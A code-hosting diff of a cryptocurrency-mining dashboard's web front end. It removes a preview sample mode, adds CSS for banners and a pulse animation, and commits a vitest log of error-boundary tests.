||||
bars={contribs}
|
||||
xmrPerDay={estXmrDay ?? undefined}
|
||||
xmrPrice={xmrPrice}
|
||||
/>
|
||||
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
|
||||
@@ -862,7 +829,7 @@ export default function DashboardPage() {
|
||||
</div>
|
||||
</Suspense>
|
||||
|
||||
{(hasGPUMining || previewDeck) && (
|
||||
{hasGPUMining && (
|
||||
<Suspense fallback={<ChartPlaceholder height={220} />}>
|
||||
<NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
|
||||
<HashrateChart
|
||||
@@ -907,7 +874,7 @@ export default function DashboardPage() {
|
||||
<span className="section-ornament">◆</span> Share Activity Pulse
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<ActivityPulse items={activityItems} sample={previewDeck && shares.length === 0} />
|
||||
<ActivityPulse items={activityItems} />
|
||||
</NeonCard>
|
||||
|
||||
<section className="section">
|
||||
|
||||
@@ -501,6 +501,26 @@
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.reforge-confirm-banner {
|
||||
color: var(--neon-cyan, #00e5ff);
|
||||
background: rgba(0, 229, 255, 0.08);
|
||||
border-color: rgba(0, 229, 255, 0.35);
|
||||
}
|
||||
|
||||
.fusion-prep-picker.fusion-prep-highlight {
|
||||
padding: 0.75rem;
|
||||
border-radius: 8px;
|
||||
outline: 2px solid var(--accent-red);
|
||||
outline-offset: 2px;
|
||||
background: rgba(239, 68, 68, 0.08);
|
||||
animation: fusion-prep-pulse 1.2s ease-in-out 3;
|
||||
}
|
||||
|
||||
@keyframes fusion-prep-pulse {
|
||||
0%, 100% { outline-color: var(--accent-red); }
|
||||
50% { outline-color: rgba(239, 68, 68, 0.35); }
|
||||
}
|
||||
|
||||
.build-btn {
|
||||
width: 100%;
|
||||
justify-content: center;
|
||||
|
||||
@@ -50,6 +50,18 @@ body {
|
||||
padding: 2rem;
|
||||
}
|
||||
|
||||
.session-degraded-banner {
|
||||
position: sticky;
|
||||
top: 0;
|
||||
z-index: 200;
|
||||
padding: 0.5rem 1rem;
|
||||
text-align: center;
|
||||
font-size: 0.85rem;
|
||||
color: #fbbf24;
|
||||
background: rgba(251, 191, 36, 0.12);
|
||||
border-bottom: 1px solid rgba(251, 191, 36, 0.35);
|
||||
}
|
||||
|
||||
.error-boundary-fallback {
|
||||
padding: 1.5rem;
|
||||
margin: 1rem 0;
|
||||
|
||||
49
server/web/vitest-summary.txt
Normal file
49
server/web/vitest-summary.txt
Normal file
@@ -0,0 +1,49 @@
|
||||
|
||||
RUN v2.1.9 G:/crypto miner/server/web
|
||||
|
||||
stderr | src/components/components.test.tsx > ErrorBoundary > shows fallback UI and clears error on retry
|
||||
The above error occurred in the <MaybeThrow> component:
|
||||
|
||||
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:261:27)
|
||||
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
|
||||
|
||||
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
|
||||
UI error: Error: render boom
|
||||
at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:231:27)
|
||||
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
|
||||
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
|
||||
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
|
||||
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
|
||||
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
|
||||
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
|
||||
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
|
||||
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
|
||||
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
|
||||
componentStack: '\n' +
|
||||
' at MaybeThrow (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:261:27)\n' +
|
||||
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
|
||||
}
|
||||
|
||||
stderr | src/components/components.test.tsx > ErrorBoundary > uses custom fallback when provided
|
||||
The above error occurred in the <ThrowOnce> component:
|
||||
|
||||
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:120:22)
|
||||
at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
|
||||
|
||||
React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
|
||||
UI error: Error: render boom
|
||||
at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:109:26)
|
||||
at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
|
||||
at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
|
||||
at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
|
||||
at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
|
||||
at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
|
||||
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
|
||||
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
|
||||
at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
|
||||
at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
|
||||
componentStack: '\n' +
|
||||
' at ThrowOnce (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:120:22)\n' +
|
||||
' at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user